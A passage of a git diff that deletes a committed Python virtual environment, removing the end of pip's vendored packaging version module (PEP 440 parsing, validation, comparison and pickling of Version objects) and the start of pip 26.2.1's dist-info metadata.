-            (?Palpha|a|beta|b|preview|pre|c|rc)
-            [._-]?+
-            (?P[0-9]+)?
-        )?+
-        (?P                                         # post release
-            (?:-(?P[0-9]+))
-            |
-            (?:
-                [._-]?
-                (?Ppost|rev|r)
-                [._-]?
-                (?P[0-9]+)?
-            )
-        )?+
-        (?P                                          # dev release
-            [._-]?+
-            (?Pdev)
-            [._-]?+
-            (?P[0-9]+)?
-        )?+
-    )
-    (?a:\+
-        (?P                                        # local version
-            [a-z0-9]+
-            (?:[._-][a-z0-9]+)*+
-        )
-    )?+
-"""
-
-_VERSION_PATTERN_OLD = _VERSION_PATTERN.replace("*+", "*").replace("?+", "?")
-
-# Possessive qualifiers were added in Python 3.11.
-# CPython 3.11.0-3.11.4 had a bug: https://github.com/python/cpython/pull/107795
-# Older PyPy also had a bug.
-VERSION_PATTERN = (
-    _VERSION_PATTERN_OLD
-    if (sys.implementation.name == "cpython" and sys.version_info < (3, 11, 5))
-    or (sys.implementation.name == "pypy" and sys.version_info < (3, 11, 13))
-    or sys.version_info < (3, 11)
-    else _VERSION_PATTERN
-)
-"""
-A string containing the regular expression used to match a valid version.
-
-The pattern is not anchored at either end, and is intended for embedding in larger
-expressions (for example, matching a version number as part of a file name). The
-regular expression should be compiled with the ``re.VERBOSE`` and ``re.IGNORECASE``
-flags set.
-
-.. versionchanged:: 26.0
-
-   The regex now uses possessive qualifiers on Python 3.11 if they are
-   supported (CPython 3.11.5+, PyPy 3.11.13+).
-
-:meta hide-value:
-"""
-
-
-# Validation pattern for local version in replace()
-_LOCAL_PATTERN = re.compile(r"[a-z0-9]+(?:[._-][a-z0-9]+)*", re.IGNORECASE | re.ASCII)
-
-# Fast path: If a version has only digits and dots then we
-# can skip the regex and parse it as a release segment
-_SIMPLE_VERSION_INDICATORS = frozenset(".0123456789")
-
-
-def _validate_epoch(value: object, /) -> int:
-    epoch = value or 0
-    if isinstance(epoch, int) and epoch >= 0:
-        return epoch
-    msg = f"epoch must be non-negative integer, got {epoch}"
-    raise InvalidVersion(msg)
-
-
-def _validate_release(value: object, /) -> tuple[int, ...]:
-    release = (0,) if value is None else value
-    if (
-        isinstance(release, tuple)
-        and len(release) > 0
-        and all(isinstance(i, int) and i >= 0 for i in release)
-    ):
-        return release
-    msg = f"release must be a non-empty tuple of non-negative integers, got {release}"
-    raise InvalidVersion(msg)
-
-
-def _validate_pre(value: object, /) -> tuple[Literal["a", "b", "rc"], int] | None:
-    if value is None:
-        return value
-    if isinstance(value, tuple) and len(value) == 2:
-        letter, number = value
-        # The letter must be a string before it can be normalized.
-        if (
-            isinstance(letter, str)
-            and (normalized := normalize_pre(letter)) in {"a", "b", "rc"}
-            and isinstance(number, int)
-            and number >= 0
-        ):
-            # type checkers can't infer the Literal type here on letter
-            return (normalized, number)  # type: ignore[return-value]
-    msg = f"pre must be a tuple of ('a'|'b'|'rc', non-negative int), got {value}"
-    raise InvalidVersion(msg)
-
-
-def _validate_post(value: object, /) -> tuple[Literal["post"], int] | None:
-    if value is None:
-        return value
-    if isinstance(value, int) and value >= 0:
-        return ("post", value)
-    msg = f"post must be non-negative integer, got {value}"
-    raise InvalidVersion(msg)
-
-
-def _validate_dev(value: object, /) -> tuple[Literal["dev"], int] | None:
-    if value is None:
-        return value
-    if isinstance(value, int) and value >= 0:
-        return ("dev", value)
-    msg = f"dev must be non-negative integer, got {value}"
-    raise InvalidVersion(msg)
-
-
-def _validate_local(value: object, /) -> LocalType | None:
-    if value is None:
-        return value
-    if isinstance(value, str) and _LOCAL_PATTERN.fullmatch(value):
-        return _parse_local_version(value)
-    msg = f"local must be a valid version string, got {value!r}"
-    raise InvalidVersion(msg)
-
-
-# Backward compatibility for internals before 26.0. Do not use.
-class _Version(NamedTuple):
-    epoch: int
-    release: tuple[int, ...]
-    dev: tuple[Literal["dev"], int] | None
-    pre: tuple[Literal["a", "b", "rc"], int] | None
-    post: tuple[Literal["post"], int] | None
-    local: LocalType | None
-
-
-class Version(_BaseVersion):
-    """This class abstracts handling of a project's versions.
-
-    A :class:`Version` instance is comparison aware and can be compared and
-    sorted using the standard Python interfaces.
-
-    >>> v1 = Version("1.0a5")
-    >>> v2 = Version("1.0")
-    >>> v1
-    
-    >>> v2
-    
-    >>> v1 < v2
-    True
-    >>> v1 == v2
-    False
-    >>> v1 > v2
-    False
-    >>> v1 >= v2
-    False
-    >>> v1 <= v2
-    True
-
-    :class:`Version` is immutable; use :meth:`__replace__` to change
-    part of a version.
-
-    Instances are safe to serialize with :mod:`pickle`. They use a stable
-    format so the same pickle can be loaded in future packaging releases.
-
-    .. versionchanged:: 26.2
-
-        Added a stable pickle format. Pickles created with packaging 26.2+ can
-        be unpickled with future releases.  Backward compatibility with pickles
-        from packaging < 26.2 is supported but may be removed in a future
-        release.
-    """
-
-    __slots__ = (
-        "_dev",
-        "_epoch",
-        "_hash_cache",
-        "_key_cache",
-        "_local",
-        "_post",
-        "_pre",
-        "_release",
-    )
-    __match_args__ = ("_str",)
-    """
-    Pattern matching is supported on Python 3.10+.
-
-    .. versionadded:: 26.0
-
-    :meta hide-value:
-    """
-
-    _regex = re.compile(r"\s*" + VERSION_PATTERN + r"\s*", re.VERBOSE | re.IGNORECASE)
-
-    _epoch: int
-    _release: tuple[int, ...]
-    _dev: tuple[Literal["dev"], int] | None
-    _pre: tuple[Literal["a", "b", "rc"], int] | None
-    _post: tuple[Literal["post"], int] | None
-    _local: LocalType | None
-
-    _hash_cache: int | None
-    _key_cache: CmpKey | None
-
-    def __init__(self, version: str) -> None:
-        """Initialize a Version object.
-
-        :param version:
-            The string representation of a version which will be parsed and normalized
-            before use.
-        :raises InvalidVersion:
-            If the ``version`` does not conform to PEP 440 in any way then this
-            exception will be raised.
-        """
-        try:
-            is_simple = _SIMPLE_VERSION_INDICATORS.issuperset(version)
-        except TypeError:
-            raise InvalidVersion(f"Invalid version: {version!r}") from None
-
-        if is_simple:
-            try:
-                self._release = tuple(map(int, version.split(".")))
-            except AttributeError:
-                raise InvalidVersion(f"Invalid version: {version!r}") from None
-            except ValueError:
-                # Empty parts (from "1..2", ".1", etc.) are invalid versions.
-                # Any other ValueError (e.g. int str-digits limit) should
-                # propagate to the caller.
-                if "" in version.split("."):
-                    raise InvalidVersion(f"Invalid version: {version!r}") from None
-                # TODO: remove "no cover" when Python 3.9 is dropped.
-                raise  # pragma: no cover
-
-            self._epoch = 0
-            self._pre = None
-            self._post = None
-            self._dev = None
-            self._local = None
-            self._key_cache = None
-            self._hash_cache = None
-            return
-
-        # Validate the version and parse it into pieces
-        try:
-            match = self._regex.fullmatch(version)
-        except TypeError:
-            raise InvalidVersion(f"Invalid version: {version!r}") from None
-        if not match:
-            raise InvalidVersion(f"Invalid version: {version!r}")
-        self._epoch = int(match.group("epoch")) if match.group("epoch") else 0
-        self._release = tuple(map(int, match.group("release").split(".")))
-        # We can type ignore the assignments below because the regex guarantees
-        # the correct strings
-        self._pre = _parse_letter_version(match.group("pre_l"), match.group("pre_n"))  # type: ignore[assignment]
-        self._post = _parse_letter_version(  # type: ignore[assignment]
-            match.group("post_l"), match.group("post_n1") or match.group("post_n2")
-        )
-        self._dev = _parse_letter_version(match.group("dev_l"), match.group("dev_n"))  # type: ignore[assignment]
-        self._local = _parse_local_version(match.group("local"))
-
-        # Key which will be used for sorting
-        self._key_cache = None
-        self._hash_cache = None
-
-    @classmethod
-    def from_parts(
-        cls,
-        *,
-        epoch: int = 0,
-        release: tuple[int, ...],
-        pre: tuple[str, int] | None = None,
-        post: int | None = None,
-        dev: int | None = None,
-        local: str | None = None,
-    ) -> Self:
-        """
-        Return a new version composed of the various parts.
-
-        This allows you to build a version without going though a string and
-        running a regular expression. It normalizes pre-release strings. The
-        ``release=`` keyword argument is required.
-
-        >>> Version.from_parts(release=(1,2,3))
-        
-        >>> Version.from_parts(release=(0,1,0), pre=("b", 1))
-        
-
-        :param epoch:
-        :param release: This version tuple is required
-
-        .. versionadded:: 26.1
-        """
-        _epoch = _validate_epoch(epoch)
-        _release = _validate_release(release)
-        _pre = _validate_pre(pre) if pre is not None else None
-        _post = _validate_post(post) if post is not None else None
-        _dev = _validate_dev(dev) if dev is not None else None
-        _local = _validate_local(local) if local is not None else None
-
-        new_version = cls.__new__(cls)
-        new_version._key_cache = None
-        new_version._hash_cache = None
-        new_version._epoch = _epoch
-        new_version._release = _release
-        new_version._pre = _pre
-        new_version._post = _post
-        new_version._dev = _dev
-        new_version._local = _local
-
-        return new_version
-
-    def __replace__(self, **kwargs: Unpack[_VersionReplace]) -> Self:
-        """
-        __replace__(*, epoch=..., release=..., pre=..., post=..., dev=..., local=...)
-
-        Return a new version with parts replaced.
-
-        This returns a new version (unless no parts were changed). The
-        pre-release is normalized. Setting a value to ``None`` clears it.
-
-        >>> v = Version("1.2.3")
-        >>> v.__replace__(pre=("a", 1))
-        
-
-        :param int | None epoch:
-        :param tuple[int, ...] | None release:
-        :param tuple[str, int] | None pre:
-        :param int | None post:
-        :param int | None dev:
-        :param str | None local:
-
-        .. versionadded:: 26.0
-        .. versionchanged:: 26.1
-
-           The pre-release portion is now normalized.
-        """
-        epoch = _validate_epoch(kwargs["epoch"]) if "epoch" in kwargs else self._epoch
-        release = (
-            _validate_release(kwargs["release"])
-            if "release" in kwargs
-            else self._release
-        )
-        pre = _validate_pre(kwargs["pre"]) if "pre" in kwargs else self._pre
-        post = _validate_post(kwargs["post"]) if "post" in kwargs else self._post
-        dev = _validate_dev(kwargs["dev"]) if "dev" in kwargs else self._dev
-        local = _validate_local(kwargs["local"]) if "local" in kwargs else self._local
-
-        if (
-            epoch == self._epoch
-            and release == self._release
-            and pre == self._pre
-            and post == self._post
-            and dev == self._dev
-            and local == self._local
-        ):
-            return self
-
-        new_version = self.__class__.__new__(self.__class__)
-        new_version._key_cache = None
-        new_version._hash_cache = None
-        new_version._epoch = epoch
-        new_version._release = release
-        new_version._pre = pre
-        new_version._post = post
-        new_version._dev = dev
-        new_version._local = local
-
-        return new_version
-
-    @property
-    def _key(self) -> CmpKey:
-        if self._key_cache is None:
-            self._key_cache = _cmpkey(
-                self._epoch,
-                self._release,
-                self._pre,
-                self._post,
-                self._dev,
-                self._local,
-            )
-        return self._key_cache
-
-    # __hash__ must be defined when __eq__ is overridden,
-    # otherwise Python sets __hash__ to None.
-    def __hash__(self) -> int:
-        if (cached_hash := self._hash_cache) is not None:
-            return cached_hash
-
-        if (key := self._key_cache) is None:
-            self._key_cache = key = _cmpkey(
-                self._epoch,
-                self._release,
-                self._pre,
-                self._post,
-                self._dev,
-                self._local,
-            )
-        self._hash_cache = cached_hash = hash(key)
-        return cached_hash
-
-    # Override comparison methods to use direct _key_cache access
-    # This is faster than property access, especially before Python 3.12
-    def __lt__(self, other: _BaseVersion) -> bool:
-        if isinstance(other, Version):
-            if self._key_cache is None:
-                self._key_cache = _cmpkey(
-                    self._epoch,
-                    self._release,
-                    self._pre,
-                    self._post,
-                    self._dev,
-                    self._local,
-                )
-            if other._key_cache is None:
-                other._key_cache = _cmpkey(
-                    other._epoch,
-                    other._release,
-                    other._pre,
-                    other._post,
-                    other._dev,
-                    other._local,
-                )
-            return self._key_cache < other._key_cache
-
-        if not isinstance(other, _BaseVersion):
-            return NotImplemented
-
-        return super().__lt__(other)
-
-    def __le__(self, other: _BaseVersion) -> bool:
-        if isinstance(other, Version):
-            if self._key_cache is None:
-                self._key_cache = _cmpkey(
-                    self._epoch,
-                    self._release,
-                    self._pre,
-                    self._post,
-                    self._dev,
-                    self._local,
-                )
-            if other._key_cache is None:
-                other._key_cache = _cmpkey(
-                    other._epoch,
-                    other._release,
-                    other._pre,
-                    other._post,
-                    other._dev,
-                    other._local,
-                )
-            return self._key_cache <= other._key_cache
-
-        if not isinstance(other, _BaseVersion):
-            return NotImplemented
-
-        return super().__le__(other)
-
-    def __eq__(self, other: object) -> bool:
-        if isinstance(other, Version):
-            if self._key_cache is None:
-                self._key_cache = _cmpkey(
-                    self._epoch,
-                    self._release,
-                    self._pre,
-                    self._post,
-                    self._dev,
-                    self._local,
-                )
-            if other._key_cache is None:
-                other._key_cache = _cmpkey(
-                    other._epoch,
-                    other._release,
-                    other._pre,
-                    other._post,
-                    other._dev,
-                    other._local,
-                )
-            return self._key_cache == other._key_cache
-
-        if not isinstance(other, _BaseVersion):
-            return NotImplemented
-
-        return super().__eq__(other)
-
-    def __ge__(self, other: _BaseVersion) -> bool:
-        if isinstance(other, Version):
-            if self._key_cache is None:
-                self._key_cache = _cmpkey(
-                    self._epoch,
-                    self._release,
-                    self._pre,
-                    self._post,
-                    self._dev,
-                    self._local,
-                )
-            if other._key_cache is None:
-                other._key_cache = _cmpkey(
-                    other._epoch,
-                    other._release,
-                    other._pre,
-                    other._post,
-                    other._dev,
-                    other._local,
-                )
-            return self._key_cache >= other._key_cache
-
-        if not isinstance(other, _BaseVersion):
-            return NotImplemented
-
-        return super().__ge__(other)
-
-    def __gt__(self, other: _BaseVersion) -> bool:
-        if isinstance(other, Version):
-            if self._key_cache is None:
-                self._key_cache = _cmpkey(
-                    self._epoch,
-                    self._release,
-                    self._pre,
-                    self._post,
-                    self._dev,
-                    self._local,
-                )
-            if other._key_cache is None:
-                other._key_cache = _cmpkey(
-                    other._epoch,
-                    other._release,
-                    other._pre,
-                    other._post,
-                    other._dev,
-                    other._local,
-                )
-            return self._key_cache > other._key_cache
-
-        if not isinstance(other, _BaseVersion):
-            return NotImplemented
-
-        return super().__gt__(other)
-
-    def __ne__(self, other: object) -> bool:
-        if isinstance(other, Version):
-            if self._key_cache is None:
-                self._key_cache = _cmpkey(
-                    self._epoch,
-                    self._release,
-                    self._pre,
-                    self._post,
-                    self._dev,
-                    self._local,
-                )
-            if other._key_cache is None:
-                other._key_cache = _cmpkey(
-                    other._epoch,
-                    other._release,
-                    other._pre,
-                    other._post,
-                    other._dev,
-                    other._local,
-                )
-            return self._key_cache != other._key_cache
-
-        if not isinstance(other, _BaseVersion):
-            return NotImplemented
-
-        return super().__ne__(other)
-
-    def __getstate__(
-        self,
-    ) -> tuple[
-        int,
-        tuple[int, ...],
-        tuple[str, int] | None,
-        tuple[str, int] | None,
-        tuple[str, int] | None,
-        LocalType | None,
-    ]:
-        # Return state as a 6-item tuple for compactness:
-        #   (epoch, release, pre, post, dev, local)
-        # Cache members are excluded and will be recomputed on demand
-        return (
-            self._epoch,
-            self._release,
-            self._pre,
-            self._post,
-            self._dev,
-            self._local,
-        )
-
-    def __setstate__(self, state: object) -> None:
-        # Always discard cached values — they may contain stale references
-        # (e.g. packaging._structures.InfinityType from pre-26.1 pickles)
-        # and will be recomputed on demand from the core fields above.
-        self._key_cache = None
-        self._hash_cache = None
-
-        if isinstance(state, tuple):
-            if len(state) == 6:
-                # New format (26.2+): (epoch, release, pre, post, dev, local)
-                (
-                    self._epoch,
-                    self._release,
-                    self._pre,
-                    self._post,
-                    self._dev,
-                    self._local,
-                ) = state
-                return
-            if len(state) == 2:
-                # Format (packaging 26.0-26.1): (None, {slot: value}).
-                _, slot_dict = state
-                if isinstance(slot_dict, dict):
-                    self._epoch = slot_dict["_epoch"]
-                    self._release = slot_dict["_release"]
-                    self._pre = slot_dict.get("_pre")
-                    self._post = slot_dict.get("_post")
-                    self._dev = slot_dict.get("_dev")
-                    self._local = slot_dict.get("_local")
-                    return
-        if isinstance(state, dict):
-            # Old format (packaging <= 25.x, no __slots__): state is a plain
-            # dict with "_version" (_Version NamedTuple) and "_key" entries.
-            version_nt = state.get("_version")
-            if version_nt is not None:
-                self._epoch = version_nt.epoch
-                self._release = version_nt.release
-                self._pre = version_nt.pre
-                self._post = version_nt.post
-                self._dev = version_nt.dev
-                self._local = version_nt.local
-                return
-
-        raise TypeError(f"Cannot restore Version from {state!r}")
-
-    @property
-    @_deprecated("Version._version is private and will be removed soon")
-    def _version(self) -> _Version:
-        return _Version(
-            self._epoch, self._release, self._dev, self._pre, self._post, self._local
-        )
-
-    @_version.setter
-    @_deprecated("Version._version is private and will be removed soon")
-    def _version(self, value: _Version) -> None:
-        self._epoch = value.epoch
-        self._release = value.release
-        self._dev = value.dev
-        self._pre = value.pre
-        self._post = value.post
-        self._local = value.local
-        self._key_cache = None
-        self._hash_cache = None
-
-    def __repr__(self) -> str:
-        """A representation of the Version that shows all internal state.
-
-        >>> Version('1.0.0')
-        
-        """
-        return f"<{self.__class__.__name__}({str(self)!r})>"
-
-    def __str__(self) -> str:
-        """A string representation of the version that can be round-tripped.
-
-        >>> str(Version("1.0a5"))
-        '1.0a5'
-        """
-        # This is a hot function, so not calling self.base_version
-        version = ".".join(map(str, self.release))
-
-        # Epoch
-        if self.epoch:
-            version = f"{self.epoch}!{version}"
-
-        # Pre-release
-        if self.pre is not None:
-            version += "".join(map(str, self.pre))
-
-        # Post-release
-        if self.post is not None:
-            version += f".post{self.post}"
-
-        # Development release
-        if self.dev is not None:
-            version += f".dev{self.dev}"
-
-        # Local version segment
-        if self.local is not None:
-            version += f"+{self.local}"
-
-        return version
-
-    @property
-    def _str(self) -> str:
-        """Internal property for match_args"""
-        return str(self)
-
-    @property
-    def epoch(self) -> int:
-        """The epoch of the version.
-
-        >>> Version("2.0.0").epoch
-        0
-        >>> Version("1!2.0.0").epoch
-        1
-        """
-        return self._epoch
-
-    @property
-    def release(self) -> tuple[int, ...]:
-        """The components of the "release" segment of the version.
-
-        >>> Version("1.2.3").release
-        (1, 2, 3)
-        >>> Version("2.0.0").release
-        (2, 0, 0)
-        >>> Version("1!2.0.0.post0").release
-        (2, 0, 0)
-
-        Includes trailing zeroes but not the epoch or any pre-release / development /
-        post-release suffixes.
-        """
-        return self._release
-
-    @property
-    def pre(self) -> tuple[Literal["a", "b", "rc"], int] | None:
-        """The pre-release segment of the version.
-
-        >>> print(Version("1.2.3").pre)
-        None
-        >>> Version("1.2.3a1").pre
-        ('a', 1)
-        >>> Version("1.2.3b1").pre
-        ('b', 1)
-        >>> Version("1.2.3rc1").pre
-        ('rc', 1)
-        """
-        return self._pre
-
-    @property
-    def post(self) -> int | None:
-        """The post-release number of the version.
-
-        >>> print(Version("1.2.3").post)
-        None
-        >>> Version("1.2.3.post1").post
-        1
-        """
-        return self._post[1] if self._post else None
-
-    @property
-    def dev(self) -> int | None:
-        """The development number of the version.
-
-        >>> print(Version("1.2.3").dev)
-        None
-        >>> Version("1.2.3.dev1").dev
-        1
-        """
-        return self._dev[1] if self._dev else None
-
-    @property
-    def local(self) -> str | None:
-        """The local version segment of the version.
-
-        >>> print(Version("1.2.3").local)
-        None
-        >>> Version("1.2.3+abc").local
-        'abc'
-        """
-        if self._local:
-            return ".".join(str(x) for x in self._local)
-        else:
-            return None
-
-    @property
-    def public(self) -> str:
-        """The public portion of the version.
-
-        This returns a string. If you want a :class:`Version` again and care
-        about performance, use ``v.__replace__(local=None)`` instead.
-
-        >>> Version("1.2.3").public
-        '1.2.3'
-        >>> Version("1.2.3+abc").public
-        '1.2.3'
-        >>> Version("1!1.2.3dev1+abc").public
-        '1!1.2.3.dev1'
-        """
-        return str(self).split("+", 1)[0]
-
-    @property
-    def base_version(self) -> str:
-        """The "base version" of the version.
-
-        This returns a string. If you want a :class:`Version` again and care
-        about performance, use
-        ``v.__replace__(pre=None, post=None, dev=None, local=None)`` instead.
-
-        >>> Version("1.2.3").base_version
-        '1.2.3'
-        >>> Version("1.2.3+abc").base_version
-        '1.2.3'
-        >>> Version("1!1.2.3dev1+abc").base_version
-        '1!1.2.3'
-
-        The "base version" is the public version of the project without any pre or post
-        release markers.
-        """
-        release_segment = ".".join(map(str, self.release))
-        return f"{self.epoch}!{release_segment}" if self.epoch else release_segment
-
-    @property
-    def is_prerelease(self) -> bool:
-        """Whether this version is a pre-release.
-
-        >>> Version("1.2.3").is_prerelease
-        False
-        >>> Version("1.2.3a1").is_prerelease
-        True
-        >>> Version("1.2.3b1").is_prerelease
-        True
-        >>> Version("1.2.3rc1").is_prerelease
-        True
-        >>> Version("1.2.3dev1").is_prerelease
-        True
-        """
-        return self.dev is not None or self.pre is not None
-
-    @property
-    def is_postrelease(self) -> bool:
-        """Whether this version is a post-release.
-
-        >>> Version("1.2.3").is_postrelease
-        False
-        >>> Version("1.2.3.post1").is_postrelease
-        True
-        """
-        return self.post is not None
-
-    @property
-    def is_devrelease(self) -> bool:
-        """Whether this version is a development release.
-
-        >>> Version("1.2.3").is_devrelease
-        False
-        >>> Version("1.2.3.dev1").is_devrelease
-        True
-        """
-        return self.dev is not None
-
-    @property
-    def major(self) -> int:
-        """The first item of :attr:`release` or ``0`` if unavailable.
-
-        >>> Version("1.2.3").major
-        1
-
-        .. versionadded:: 20.0
-        """
-        return self.release[0] if len(self.release) >= 1 else 0
-
-    @property
-    def minor(self) -> int:
-        """The second item of :attr:`release` or ``0`` if unavailable.
-
-        >>> Version("1.2.3").minor
-        2
-        >>> Version("1").minor
-        0
-
-        .. versionadded:: 20.0
-        """
-        return self.release[1] if len(self.release) >= 2 else 0
-
-    @property
-    def micro(self) -> int:
-        """The third item of :attr:`release` or ``0`` if unavailable.
-
-        >>> Version("1.2.3").micro
-        3
-        >>> Version("1").micro
-        0
-
-        .. versionadded:: 20.0
-        """
-        return self.release[2] if len(self.release) >= 3 else 0
-
-
-class _TrimmedRelease(Version):
-    __slots__ = ()
-
-    def __init__(self, version: str | Version) -> None:
-        if isinstance(version, Version):
-            self._epoch = version._epoch
-            self._release = version._release
-            self._dev = version._dev
-            self._pre = version._pre
-            self._post = version._post
-            self._local = version._local
-            self._key_cache = version._key_cache
-            self._hash_cache = version._hash_cache
-            return
-        super().__init__(version)  # pragma: no cover
-
-    @property
-    def release(self) -> tuple[int, ...]:
-        """
-        Release segment without any trailing zeros.
-
-        >>> _TrimmedRelease('1.0.0').release
-        (1,)
-        >>> _TrimmedRelease('0.0').release
-        (0,)
-        """
-        # This leaves one 0.
-        rel = super().release
-        len_release = len(rel)
-        i = len_release
-        while i > 1 and rel[i - 1] == 0:
-            i -= 1
-        return rel if i == len_release else rel[:i]
-
-
-def _parse_letter_version(
-    letter: str | None, number: str | bytes | SupportsInt | None
-) -> tuple[str, int] | None:
-    if letter:
-        # We normalize any letters to their lower case form
-        letter = letter.lower()
-
-        # We consider some words to be alternate spellings of other words and
-        # in those cases we want to normalize the spellings to our preferred
-        # spelling.
-        letter = _LETTER_NORMALIZATION.get(letter, letter)
-
-        # We consider there to be an implicit 0 in a pre-release if there is
-        # not a numeral associated with it.
-        return letter, int(number or 0)
-
-    if number:
-        # We assume if we are given a number, but we are not given a letter
-        # then this is using the implicit post release syntax (e.g. 1.0-1)
-        return "post", int(number)
-
-    return None
-
-
-_local_version_separators = re.compile(r"[\._-]")
-
-
-def _parse_local_version(local: str | None) -> LocalType | None:
-    """
-    Takes a string like ``"abc.1.twelve"`` and turns it into
-    ``("abc", 1, "twelve")``.
-    """
-    if local is not None:
-        return tuple(
-            part.lower() if not part.isdigit() else int(part)
-            for part in _local_version_separators.split(local)
-        )
-    return None
-
-
-# Sort ranks for pre-release: dev-only < a < b < rc < stable (no pre-release).
-_PRE_RANK = {"a": 0, "b": 1, "rc": 2}
-_PRE_RANK_DEV_ONLY = -1  # sorts before a(0)
-_PRE_RANK_STABLE = 3  # sorts after rc(2)
-
-# In local version segments, strings sort before ints per PEP 440.
-_LOCAL_STR_RANK = -1  # sorts before all non-negative ints
-
-# Pre-computed suffix for stable releases (no pre, post, or dev segments).
-# See _cmpkey() for the suffix layout.
-_STABLE_SUFFIX = (_PRE_RANK_STABLE, 0, 0, 0, 1, 0)
-
-
-def _cmpkey(
-    epoch: int,
-    release: tuple[int, ...],
-    pre: tuple[str, int] | None,
-    post: tuple[str, int] | None,
-    dev: tuple[str, int] | None,
-    local: LocalType | None,
-) -> CmpKey:
-    """Build a comparison key for PEP 440 ordering.
-
-    Returns ``(epoch, release, suffix)`` or
-    ``(epoch, release, suffix, local)`` so that plain tuple
-    comparison gives the correct order.
-
-    Trailing zeros are stripped from the release so that ``1.0.0 == 1``.
-
-    The suffix is a flat 6-int tuple that encodes pre/post/dev:
-    ``(pre_rank, pre_n, post_rank, post_n, dev_rank, dev_n)``
-
-    pre_rank: dev-only=-1, a=0, b=1, rc=2, no-pre=3
-        Dev-only releases (no pre or post) get -1 so they sort before
-        any alpha/beta/rc.  Releases without a pre-release tag get 3
-        so they sort after rc.
-    post_rank: no-post=0, post=1
-        Releases without a post segment sort before those with one.
-    dev_rank: dev=0, no-dev=1
-        Releases without a dev segment sort after those with one.
-
-    Local segments use ``(n, "")`` for ints and ``(-1, s)`` for strings,
-    following PEP 440: strings sort before ints, strings compare
-    lexicographically, ints compare numerically, and shorter segments
-    sort before longer when prefixes match.  Versions without a local
-    segment sort before those with one (3-tuple < 4-tuple).
-
-    >>> _cmpkey(0, (1, 0, 0), None, None, None, None)
-    (0, (1,), (3, 0, 0, 0, 1, 0))
-    >>> _cmpkey(0, (1,), ("a", 1), None, None, None)
-    (0, (1,), (0, 1, 0, 0, 1, 0))
-    >>> _cmpkey(0, (1,), None, None, None, ("ubuntu", 1))
-    (0, (1,), (3, 0, 0, 0, 1, 0), ((-1, 'ubuntu'), (1, '')))
-    """
-    # Strip trailing zeros: 1.0.0 compares equal to 1.
-    len_release = len(release)
-    i = len_release
-    while i and release[i - 1] == 0:
-        i -= 1
-    trimmed = release if i == len_release else release[:i]
-
-    # Fast path: stable release with no local segment.
-    if pre is None and post is None and dev is None and local is None:
-        return epoch, trimmed, _STABLE_SUFFIX
-
-    if pre is None and post is None and dev is not None:
-        # dev-only (e.g. 1.0.dev1) sorts before all pre-releases.
-        pre_rank, pre_n = _PRE_RANK_DEV_ONLY, 0
-    elif pre is None:
-        pre_rank, pre_n = _PRE_RANK_STABLE, 0
-    else:
-        pre_rank, pre_n = _PRE_RANK[pre[0]], pre[1]
-
-    post_rank = 0 if post is None else 1
-    post_n = 0 if post is None else post[1]
-
-    dev_rank = 1 if dev is None else 0
-    dev_n = 0 if dev is None else dev[1]
-
-    suffix = (pre_rank, pre_n, post_rank, post_n, dev_rank, dev_n)
-
-    if local is None:
-        return epoch, trimmed, suffix
-
-    cmp_local: CmpLocalType = tuple(
-        (seg, "") if isinstance(seg, int) else (_LOCAL_STR_RANK, seg) for seg in local
-    )
-    return epoch, trimmed, suffix, cmp_local
diff --git a/venv/Lib/site-packages/pip-26.2.1.dist-info/INSTALLER b/venv/Lib/site-packages/pip-26.2.1.dist-info/INSTALLER
deleted file mode 100644
index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip-26.2.1.dist-info/INSTALLER
+++ /dev/null
@@ -1 +0,0 @@
-pip
diff --git a/venv/Lib/site-packages/pip-26.2.1.dist-info/METADATA b/venv/Lib/site-packages/pip-26.2.1.dist-info/METADATA
deleted file mode 100644
index 29576e2a7d3c8ed40a4efce93575b0ea37befb1c..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip-26.2.1.dist-info/METADATA
+++ /dev/null
@@ -1,110 +0,0 @@
-Metadata-Version: 2.4
-Name: pip
-Version: 26.2.1
-Summary: The PyPA recommended tool for installing Python packages.
-Author-email: The pip developers 
-Requires-Python: >=3.10
-Description-Content-Type: text/x-rst
-License-Expression: MIT
-Classifier: Development Status :: 5 - Production/Stable
-Classifier: Intended Audience :: Developers
-Classifier: Topic :: Software Development :: Build Tools
-Classifier: Programming Language :: Python
-Classifier: Programming Language :: Python :: 3
-Classifier: Programming Language :: Python :: 3 :: Only
-Classifier: Programming Language :: Python :: 3.10
-Classifier: Programming Language :: Python :: 3.11
-Classifier: Programming Language :: Python :: 3.12
-Classifier: Programming Language :: Python :: 3.13
-Classifier: Programming Language :: Python :: 3.14
-Classifier: Programming Language :: Python :: 3.15
-Classifier: Programming Language :: Python :: Implementation :: CPython
-Classifier: Programming Language :: Python :: Implementation :: PyPy
-License-File: AUTHORS.txt
-License-File: LICENSE.txt
-License-File: src/pip/_vendor/cachecontrol/LICENSE.txt
-License-File: src/pip/_vendor/certifi/LICENSE
-License-File: src/pip/_vendor/distlib/LICENSE.txt
-License-File: src/pip/_vendor/distro/LICENSE
-License-File: src/pip/_vendor/idna/LICENSE.md
-License-File: src/pip/_vendor/msgpack/COPYING
-License-File: src/pip/_vendor/packaging/LICENSE
-License-File: src/pip/_vendor/packaging/LICENSE.APACHE
-License-File: src/pip/_vendor/packaging/LICENSE.BSD
-License-File: src/pip/_vendor/pkg_resources/LICENSE
-License-File: src/pip/_vendor/platformdirs/LICENSE
-License-File: src/pip/_vendor/pygments/LICENSE
-License-File: src/pip/_vendor/pyproject_hooks/LICENSE
-License-File: src/pip/_vendor/requests/LICENSE
-License-File: src/pip/_vendor/resolvelib/LICENSE
-License-File: src/pip/_vendor/rich/LICENSE
-License-File: src/pip/_vendor/tomli/LICENSE
-License-File: src/pip/_vendor/tomli_w/LICENSE
-License-File: src/pip/_vendor/truststore/LICENSE
-License-File: src/pip/_vendor/urllib3/LICENSE.txt
-Project-URL: Changelog, https://pip.pypa.io/en/stable/news/
-Project-URL: Documentation, https://pip.pypa.io
-Project-URL: Homepage, https://pip.pypa.io/
-Project-URL: Source, https://github.com/pypa/pip
-
-pip - The Python Package Installer
-==================================
-
-.. |pypi-version| image:: https://img.shields.io/pypi/v/pip.svg
-   :target: https://pypi.org/project/pip/
-   :alt: PyPI
-
-.. |python-versions| image:: https://img.shields.io/pypi/pyversions/pip
-   :target: https://pypi.org/project/pip
-   :alt: PyPI - Python Version
-
-.. |docs-badge| image:: https://readthedocs.org/projects/pip/badge/?version=latest
-   :target: https://pip.pypa.io/en/latest
-   :alt: Documentation
-
-|pypi-version| |python-versions| |docs-badge|
-
